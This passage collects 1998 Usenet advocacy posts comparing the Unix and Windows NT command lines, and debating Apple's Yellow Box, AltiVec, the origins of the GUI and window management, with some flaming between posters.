filesystem. And I mean _trivially_. With drive letters as the base,
you can't trivially emulate a rooted filesystem.
[The neat thing about system layouts with a single root is that any
number of individual devices and network mounts can be used to build a
system which doesn't operate differently from if it was all on one
device.]
>flexible redirection of various file descriptors,
You mean stdin, stdout and stderr for CLI applications?
You can do this with the Win32 API,
Yeah, but you can do pretty much _anything_ if you're writing a
program from the ground up. I can do quite arbitrary redirections on
most Unix systems for any Unix command directly from the shell. I
don't have to write a program, nor do the programs have to be
specially written (put another way, _all_ Unix commands are "specially
written" in this way).
>named pipes,
Windows 95, 98 and NT supports both named pipes and
anonymous pipes, though their usage is a little
different than with Unix.
(See 'CreatePipe()' for more info.)
Again, I wasn't arguing that Windows NT restricts you at a
programmatic level. That's a different topic.
>breadth of commands available and consistency and flexibility of
>individual commands,
While the breadth is there in Unix, I wouldn't exactly point to
Unix for "consistency" of individual commands. Flexability, yes.
But consistancy, no.
Hmm, well, consistency is entirely relative. The broad scope of
possible Unix commands are not consistent WRT to each other, but they
are more consistent than the console commands under Windows. A major
component of this is wildcard expansion, which on Windows appears to
be done by the commands themselves, whereas on Unix the commands never
see the un-expanded wildcards. And while the actual command-line
flags aren't necessarily consistent, they are generally consistently
used. Most Unix commands that have been around for any length of time
use pretty consistent argument processing.
> ... atrocious shell (I mean that the shell program itself hardly
>competes with the ancient "sh", let alone with something like zsh or
>tcsh). Part of these lacks is due to how much longer Unix has been
>around than NT - part is just plain "Not Invented Here" attitudes.
I do agree with you here. The MS-DOS shell is pretty horrible,
though it does provide much of the basic functionality that folks
here have been discussing.
Change "much" to "some", and I'll go along with that. A _lot_ of what
I don't like about NT's CLI can be fixed entirely in the shell layer,
witness the CYGWIN32 stuff, but even then you can still tell that it's
hacked on, not built in from the ground-up.
[Again, I want to emphasize that I don't think operating systems
should be built from the ground-up to support CLIs - but, once built,
it's certainly justified for heavy CLI users to compare CLIs. NT's
focus is clearly _not_ on heavy CLI users.]
And Microsoft's "NIH" attitude has gotten so bad that even the
Justice Department is investigating.
It wouldn't even bother me if, like VMS, I could convince myself that
they honestly felt they had a better way, or just took a different
approach to solve the same problems. With Microsoft, I feel it's
_literally_ a "NIH" attitude, going so far as to not include features
_because_ they are so useful on other platforms. I just can't see how
it would work any other way, because I _know_ that they have a lot of
very smart engineers.
>... But even then, NT's shell access is very much bolted-on
>rather than intrinsic to the operating system. This may or may
>not be acceptable when you look at the operating system as a
>whole...
I'm not sure what you mean by "bolted-on rather than intrinsic."
Most Unix shells are not "intrinsic" to the Unix operating system,
but are user-level applications which launch other applications.
The shell itself is generally merely an interface layer which lets you
get to the rich creamy filling. But Unix itself has a very long
tradition of CLI usage, long enough that most of the annoyances for
early Unix CLI users have been worked out, and are no longer
annoyances.
Broadly put, Unix shells have evolved over the years, the commands you
can run from the shells have evolved to become easier to run from the
shells, and many kernel features have been added to support the
commands and the shells. tty/pty, process groups, signals, stdio,
pipes, etc, etc. Even if you can add some of these rich abstractions
to NT, you're _adding_ them, and thus are likely to find their breadth
of use restricted.
It wouldn't be all that difficult, I suppose, to port one of the
better Unix shells to NT, as while the NT CLI shell does run closer
to the OS than a typical Unix shell, it's not rocket science to
rewrite the 'handle redirect/fork/exec' chunk to use the technique
in the KB above.
As an example, consider the Unix tty and pty abstractions. There are
simply no corrosponding abstractions in NT. You _can_ force it to
work similar to a tty, but it's pretty much a hack. The Unix
abstractions certainly have some rough edges, but even so they're
complete enough to allow a huge range of options for users or their
programs to access command-lines without the command-line programs
having any clue (nor need to know) where the user is coming from or
how they got there.
The fact that CYGWIN32 has addressed some of this, and "expect" has
been written for Windows 95/NT is more a testament to the size of the
market than to the ease of targetting NT for such things.
>- but when you look at it entirely from the point of view of a
>sysadmin type who's looking to migrate from Unix, it's the CLI
>that sticks out.
See, that's the problem: NT is not Unix. It does provide much of
the same functionality, and it even provides additional things that
are not provided by Unix. But it's not Unix.
Exactly my point - I'm a Unix user, and I really love Unix. I don't
feel that NT must replicate Unix - but once I've gotten to the point
where I've got internalized levers with which I can move the world
under Unix, I'm not going to take a step back to NT where all my
lovely tools are not only different in the sense of having different
flags, they're different in the sense of having a completely different
worldview.
While I can _do_ the same things flipping switches on dialog boxes as
I can passing parameters to CLI commands, I DON'T WANT TO SPEND MY
LIFE FLIPPING SWITCHES ON DIALOGS! Beyond that, much of this stuff I
only do twice under Unix before I waste a couple minutes bundling it
into a script and never putz with it again. Such bundling of aquired
knowledge is much harder under NT.
[That was odd. I just implied that I'm evolving my Unix system to fit
my style of work, rather than conforming to the system. Hmm.
Probably a different topic, though.]
If you are looking at it from the point of view of migrating from
Unix to NT, that's a whole different discussion than the "CLI/GUI"
argument going on before.
But it's not. For the most part, both sides are arguing from a stance
of inertia. All-GUI advocates are basically saying that a GUI is good
enough for everyone. All-CLI advocates, which I don't think exist,
are arguing that a CLI is good enough for everyone. They aren't
arguing this from pure motives - they're arguing this because they've
already invested time in one or the other, and determined to their
satisfaction that their choice was good enough.
I, personally, am a cross-user. I love NeXTSTEP and kin because it
has a very powerful and fluid GUI, and because it furthermore gives me
unrestricted access to the CLI as I need it, with a broad area of
overlap where you can accomplish solutions in _either_ realm. I don't
like the X Windows System because it has too much reliance on the CLI
to accomplish operations that should be in the GUI. I don't like
Windows NT or MacOS because they have too much reliance on the GUI to
accomplish operations that would be easier from the CLI.
I want both, and I resent being forced to make a choice.
>Unfortunately, I'm too close to the topic to tell you my precise
>reasons. All I know is that after four years of using NT for
>about 25% of my work, I always feel like I'm working with one hand
>behind my back in the CLI. Contrast this with VMS. There, I
>didn't feel as proficient as I do under Unix - but I felt it was
>because I didn't "get it", and that if I so desired, VMS could
>eventually become as useful to me as Unix has been.
<snip>
I don't think VMS is more or less powerful than Unix; just designed
to answer a completely different set of problems.
Exactly my point. At the time, I felt that for my problems VMS or
Unix were equally applicable. Unix was just more approachable (25
Unix machines on campus versus two VMS machines with guardians at the
portals). But with NT vs Unix, I feel that NT is less capable of
solving _my_ problems in a straightforward fashion for _me_.
It is ironic--in some ways that when you dig deep down into the NT
kernel, you can see a lot of VMS'isms.
Unfortunately, most of the really neat stuff is restricted to the
kernel. As a programmer, you can get at it, but as a user, much of it
is somewhat locked away.
Just to be totally inflammatory, I strongly see NT as being to
"operating systems" as C++ is to "object-oriented languages". If you
take a less successful (marketwise) language like Smalltalk, most of
the neat checkoff items fall out from fairly simple basic ideas. C++,
meanwhile, takes each of the neat checkoff items and bolts them onto C
individually. Obviously C++ has some advantages, but just because
it's been such a market success doesn't make it "right" for everyone's
definition of "right".
Likewise, I feel that NT bolts on a lot of functionality which, under
Unix, flows more directly from the mindset the operating system was
evolved under. Regardless of whether Microsoft took the right
approach or not, I find it to be a distasteful approach.
Fortunately, there's plenty of room in the market for alternative
approaches. Otherwise I'd have to change careers,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 24 Sep 98 15:31:49
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep24153149@slave.doubleu.com>
References: <heaney-0509981648590001@24.0.246.137> <6tbq52$q06$1@nnrp4.snfc21.pbi.net>
<35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net>
<jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com>
<6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<SCOTT.98Sep15132801@slave.doubleu.com>
<6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tpdpe$oko$1@nnrp4.snfc21.pbi.net>
<SCOTT.98Sep22123904@slave.doubleu.com>
<6uck4k$b6u$1@nnrp3.snfc21.pbi.net> <6udn1j$g2f$1@nnrp03.primenet.com>
<6udq7h$7fd$1@nnrp3.snfc21.pbi.net>
In-reply-to: "William Edward Woody"'s message of Thu, 24 Sep 1998 08:54:18 -0700
In article <6udq7h$7fd$1@nnrp3.snfc21.pbi.net>,
"William Edward Woody" <woody@alumni.caltech.edu> writes:
John Jensen wrote in message <6udn1j$g2f$1@nnrp03.primenet.com>...
>By this logic anything is as good as anything else because you can
>add the difference.
Isn't this what made Unix great?
Yes... except that it wasn't _solely_ a process of accretion.
Periodically everything was essentially stripped to the frame and
rebuilt.
Windows has very very different driving forces behind it than Unix
had. It's almost inconceivable that Microsoft will at some point
strip things down and rebuild it using the experience they've gained
since they started. That's what they said they were doing with NT in
the first place, which resulted in a rebuilt engine and drive train,
but everything else was left alone.
This is neither good nor bad - obviously it has advantages for some
segment of the market. But it _does_ leave something to be desired
by people in other segments of the market.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Doug Ivers" <dliver@mindspring.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
Date: Mon, 28 Sep 1998 14:37:46 -0400
Organization: MindSpring Enterprises
Message-ID: <6um14j$m5n$1@camel29.mindspring.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10>
Where do you guys read this stuff?? I do not mean this as a flame, I find
the history of the PC interesting and would like to know where you dig this
stuff up.
The only source I have for this was the book "Accidental Empires" and the
PBS series based on it.
Doug
Steve Hix wrote in message ...
>In article <slrn70stmu.c3a.jason@jhste1.dyn.ml.org>,
>jason@jhste1.dyn.ml.org (Jason S.) wrote:
>
>> Forrest Cameranesi posted the following to comp.sys.mac.advocacy:
>>
>> >Jef Raskin invented the GUI in
>> >his highschool thesis, "The Quick Draw System".
>>
>> Yeah, okay, right. I take it that you never heard of Douglas Engelbart.
>
> (IIRC, Raskin's thesis was college work, not high school.)
>
>The notion of a GUI was invented independently several times
>in several places.
>
>Raskin and Englebart did their work at roughly the same time,
>independently of each other, and neither (at the time time)
>pulled all the elements of what is currently understood as a
>GUI together.
Date: Fri, 25 Sep 1998 08:31:05 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <joe.ragosta-2509980831060001@elk76.dol.net>
References: <6ucl9d$19os$1@piglet.cc.uic.edu> <360a323c.2878639@nntp.service.ohio-state.edu> <6uea9d$1uru$2@piglet.cc.uic.edu>
In article <6uea9d$1uru$2@piglet.cc.uic.edu>, amaliy1@uic.edu (Anil T
Maliyekke) wrote:
> Steve (nospam@nospam!.kom) wrote:
>
> : According to every report I've seen, IBM does not plan to implement
> : AltiVec at all.
>
> : from the following URL:
> :
http://macweek.zdnet.com/cgi-bin/framemaker.cgi?http://www.emediaweekly.com/1998/09/21/sy-g4.html
>
> : "IBM does not intend to implement AltiVec; instead, the company said
> : it will focus on faster clock speeds and other technologies that
> : benefit all applications."
>
> : -Steve
>
> Some time ago on MacWeek or one of the other computer journals,
> an IBM spokesman did say that if Apple really wanted to have
> AltiVec support, that they would consider it.
They'd have to _consider_ it. It will come down to how much performance
gain AltiVec provides. If it provides a big enough speed gain (i.e. larger
than copper and SOI), IBM will start losing sales to Motorola and will
have to add AltiVec.
The key will probably be how much speed gain there is for normal desktop
use. It seems that AltiVec is going to be such a huge advantage for
specialized apps that Moto will have that piece of the business sewed up.
If the number of apps that use it is <10% of the total, IBM won't care
much. If, OTOH, AltiVec provides a 50% performance gain in every day apps
(perhaps via QuickTime enhancements, etc), then IBM will probably have to
adopt it.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Sun, 27 Sep 1998 18:48:35 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6ulmur$7td$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
> : If YB were to become widely accepted, you'd have the dawn of true
> : cross-platform computing in a way that Java only promised.
>
> A mighty big "if".
>
> Actually it's worse than an "if". It's all spin. Apple isn't even going
> to try to create a new "dawn of true cross-platform computing". Apple is
> going to continue to emphasize Apple system sales (hardware + software).
>
> Let's do the math here. If Apple makes the YB runtime free for Windows,
> and makes the user experience just as nice for YB under Macintosh ... what
> happens to Mac sales?
Umm you have missed the point entirely.
Creating a YB app for Windows means that it is an almost trivial job to
make a YB version for the Mac. This means that an application that is built
for YB for Windows (which has a Windows interface) can be run on the Mac YB
through a simple recompile.
Why would a developer compile a YB for Windows version and _not_ a YB for
Mac OS version as well? Can you think of any good reasons? Is it bad if
Apple makes it easier for a developer to support _both_ the Mac and Windows
markets?
Ryan Tokarek
<pulsar@springnet1.com>
Message-ID: <360ECFB0.340D9918@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sun, 27 Sep 1998 19:53:27 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 27 Sep 1998 18:52:16 -0500
Pulsar wrote:
> > Let's do the math here. If Apple makes the YB runtime free for Windows,
> > and makes the user experience just as nice for YB under Macintosh ... what
> > happens to Mac sales?
>
> Umm you have missed the point entirely.
>
> Creating a YB app for Windows means that it is an almost trivial job to
> make a YB version for the Mac. This means that an application that is built
> for YB for Windows (which has a Windows interface) can be run on the Mac YB
> through a simple recompile.
Read what he said. It wasn't about YB apps being available for Windows
and not for Macintosh. It was "if people can get the Mac experience on
Windows, why buy Macs?" The whole point is that Apple is protecting
sales of the Mac hardware nobody wants with the software they *do* want.
> Why would a developer compile a YB for Windows version and _not_ a YB for
> Mac OS version as well? Can you think of any good reasons? Is it bad if
> Apple makes it easier for a developer to support _both_ the Mac and Windows
> markets?
This is irrelevant to his point.
MJP
Date: Sun, 27 Sep 1998 11:04:08 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <joe.ragosta-2709981104100001@elk80.dol.net>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <86k92pk5kk.fsf@sitting-duck.com>
In article <86k92pk5kk.fsf@sitting-duck.com>, Trurl
<spam.me@sitting-duck.com> wrote:
> joe.ragosta@dol.net (Joe Ragosta) writes:
>
> > In article <6uktef$2gu$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> >
> > > In article <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu>,
> > > pulsar@springnet1.com (Pulsar) wrote:
> > >
> > > > Look again at what I said. I said that developers don't care about
> > > > _Yellow_Box_.
> > >
> > > Oops, slip of the fingers... So, if developers don't care about
> > > Yellow Box then who does?
> > >
> >
> > I do, for one.
> >
> > YB has the potential to revolutionize computing. Apple should be working
> > to distribute YB everywhere. NT, Win9x, Unix (as many flavors as they
> > can), OS/2, Linux, Mac OS, Mac OS X, etc.
> >
> > If YB were to become widely accepted, you'd have the dawn of true
> > cross-platform computing in a way that Java only promised.
>
> What about OpenStep? GNUstep is about 50% complete.
Sure. If GNUStep is ever completed enough to be useful, it will be about
the same. After all, Yellow Box _is_ OpenStep in many essential ways.
>
> Java is much more that Yellow Box. And it is here, on Linux, now.
True. But it doesn't offer the cross-platform benefits it promised. Write
once deploy everywhere is a dream.
>
> And I don't see how YB could become widely accepted. Especially in
> Linux community. Apple would have to LGPL it, and I don't see that as
> likely. Even if Apple did that, where are the applications? And of
> course, YB portability is somewhat suspect.
YB portability is immensely better than Java.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 27 Sep 1998 15:51:55 GMT
Organization: Primenet (602)416-7000
Message-ID: <6ulmur$7td$1@nnrp02.primenet.com>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost>
<pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: If YB were to become widely accepted, you'd have the dawn of true
: cross-platform computing in a way that Java only promised.
A mighty big "if".
Actually it's worse than an "if". It's all spin. Apple isn't even going
to try to create a new "dawn of true cross-platform computing". Apple is
going to continue to emphasize Apple system sales (hardware + software).
Let's do the math here. If Apple makes the YB runtime free for Windows,
and makes the user experience just as nice for YB under Macintosh ... what
happens to Mac sales?
There might have been a point where Apple could choose a hardware of a
software future, but that point is past and the decision has been made.
I predict that Apple will try to walk a line. They will try to offer just
enough cross-platform support to keep developers happy, but not enough
cross-platform support to allow users to easily change platforms. I don't
think that luke-warm support will enable "dawn of true cross-platform
computing".
The historical reason Sun could offer Java is that it had no current
desktop position. It did not have to canibalize any of its current market
to offer cross-platform computing. IBM and other Java boosters are in a
similar position.
Apple and Microsoft have a substantial portion of their income tied to
their existing desktop user base. They would have to be pretty aggressive
to risk that semi-captive market on a cross-platform future.
John
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: A Brief History of the GUI (was: Re: A computer is not like a car.)
Message-ID: <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sun, 27 Sep 1998 09:57:35 -0700
NNTP-Posting-Date: Sun, 27 Sep 1998 09:57:00 PDT
In article <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net>,
<ispsalc@bellsouth.net> wrote:
> Yeah, and Apple ripped the GUI off from Xerox - it all went to court 15
> years ago and Microsoft won. That's Apple's big myth (lie).
This is really getting annoying.
Apple did not rip the GUI off from Xerox. Jef Raskin invented the GUI in
his highschool thesis, "The Quick Draw System". I don't recall his
relationship to Xerox, but he worked at Apple, and both got the idea from
him. When Raskin wanted to make a graphical, all-in-one appliance
computer, Jobs didn't like the idea. So Raskin pointed him to Xerox to see
how graphics could change the way we work on computers. Jobs and a team of
Apple engineers got a guided tour through the Xerox labs, and caught (sp?)
on to the idea on a GUI. But the UI Jobs saw there was radically different
from the Mac or Lisa GUIs. It was basically just graphical text
manipulation (a word processor), with no menus, and icons which
represented actions. Apple's Mac and Lisa teams did lots of extensive
research (read: asked and observed the users and how they work) to see
what the best implementation of the GUI would be. And they made this in
the Lisa (a full-blown power computer with a GUI), and later the Mac (a
graphical appliance). Then, a growing corporation which had started as a
simple API and application house, lead by Bill Gates, saw this as a great
opportunity to flesh out applications impossible to do in DOS. Hence
Excel, Word, and all the other MS Works apps, the first graphical
productivity programs were Mac-first. Gates & Co got to use prototype Macs
while developing these programs, and as such were easily able to copy it
into Windows. The differences between Xerox' GUI and Apple's were vast.
The differences between Apple's and Microsoft's were miniscule in
comparison (though the UE - User *Experiance* - was vastly different
between the two).
Corrections welcome, so long as they're informed. All flames will be killfiled.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Multiple Users (was: Worried about MacOS X)
Date: Thu, 24 Sep 1998 22:23:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6uegpe$8j4$1@nnrp1.dejanews.com>
References: <360831C3.D9DAC82F@trilithon.com> <edewEzpouz.4vC@netcom.com> <6ubqa6$b2n$1@nnrp1.dejanews.com> <edewEzsyFE.HLI@netcom.com>
edew@netcom.com (Eric Dew) wrote:
> >> ... Most people are still enlarging
> >> their windows to maximize (on both MS OSes and Macs) and flip from
> >> one maximized window to another....what's the point of multi-tasking if
> >> one can only see one window at a time?
> >
> >The thing is, even if you know full well the advantages of multi-tasking, MS
> >OSs make it so darn difficult to use more than one window at the time, what
> >with their habit of overloading each window with a gazillion task bars, plus
> >those exasperating modal panels they like so much, that maximizing is really
> >the only way to work.
>
> Yup, either you have multiple opened MS Word apps (which takes its toll on
> the CPU), or you have to switch among different documents within one Word app
> uber-window (is that called an app-window, as opposed to a document window?).
> Worse is when you *DON'T* have the document window maximized within the app
> window and you move it so that the sliding bar is hidden behind the
> app-window. Now, you can't do a damned thing to scroll around that document.
> Want to see two documents side-by-side? Fergittit.
And the worst part is, that when you tell people the features of
Rhapsody/MacOS X and try to explain why they should care, they end us
thinking "So it's multitasking. Big deal. I've got that on my Windows system
(it says so on the box) and it didn't do me any fat lot of good. So who cares
about multitasking?"
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 27 Sep 1998 17:27:17 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6uml8l$g7q$1@ash.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net> <6u3hb2$9sn$1@holly.prod.itd.earthlink.net> <Josh.McKee-2109981713200001@166-93-57-171.rmi.net> <6u8naq$s95$1@birch.prod.itd.earthlink.net> <Josh.McKee-2309981731330001@166-93-69-54.rmi.net> <6uf1fd$map$1@holly.prod.itd.earthlink.net> <Josh.McKee-2509982146100001@166-93-57-144.rmi.net>
Joshua T. McKee wrote in message ...
>In article <6uf1fd$map$1@holly.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Joshua T. McKee wrote in message ...
>
>> >So show me where the sarcasm was. Since I am such a "click-and-drool"
>> >poster boy (who also happens to be an avid unix user/advocate) that
can't
>> >find it on my own.
>>
>>
>> This is sad...
>
>
>OK...we now know that it is sad, but what we still don't know is where the
>sarcasm was.
>
>
>> >Apparenty I'm not...I'm armed with logic and reason. Since that isn't
>> >what you're using, I am definitly ill prepared. So please, point it out
>> >for my poor, miserable soul.
>>
>>
>> This is really really sad..
>
>
>OK Todd...we know that it is sad...now, knowing that it is really sad,
>please point out the sarcasm.
>
>I've asked you a few times to do so, and you never do. Can it be that
>there really wasn't any sarcasm? I'd be willing to bet.
>
>Now put your money where your mouth is and point out this sarcasm. I'm
>wiling to bet that you never will because there wasn't any. And you will
>continue your attempts to belittle me.
>
>Josh
I said this:
Wow, hard hitting insults. What next, are you going to call me a clown
just like you buddy Derek? BAHAHAHA!
Someone had used a lame insult and I said what I said above. I thought the
"BAHAHAHAHA" part would show the sarcasm, but I forgot there are MacSheep
here.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
Message-ID: <360EE09E.395F318B@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu>
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NNTP-Posting-Date: Sun, 27 Sep 1998 21:05:46 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 27 Sep 1998 20:04:30 -0500
Pulsar wrote:
> READ WHAT _I_ SAID!
Look, Ryan, relax. I'm not attacking you or what you said. You're
misunderstanding his point, and I will explain it if you like.
> YB applications for Windows look to the user like _WINDOWS_ applications.
> They do _NOT_ look or behave like Mac OS applications. YB apps for Windows
> take on the Windows interface.
This isn't about the decorations on windows or the 3d bevels on widgets.
People do not buy systems for these things. It's totally irrelevant to
the conversation. The discussion of the "Mac experience", as well as I
can guess (and I think that this is a good guess) revolves around the
specific benefits of the Yellow Box. Yellow Box was the context; Yellow
Box is the intent.
I know that a lot of Mac users are hung up about how
difficult-to-configure Windows PCs are. Forget about it. It's a
non-issue. The discussion is over Yellow Box apps.
Here is an example from John's post:
> Let's do the math here. If Apple makes the YB runtime free for Windows,
> and makes the user experience just as nice for YB under Macintosh ... what
> happens to Mac sales?
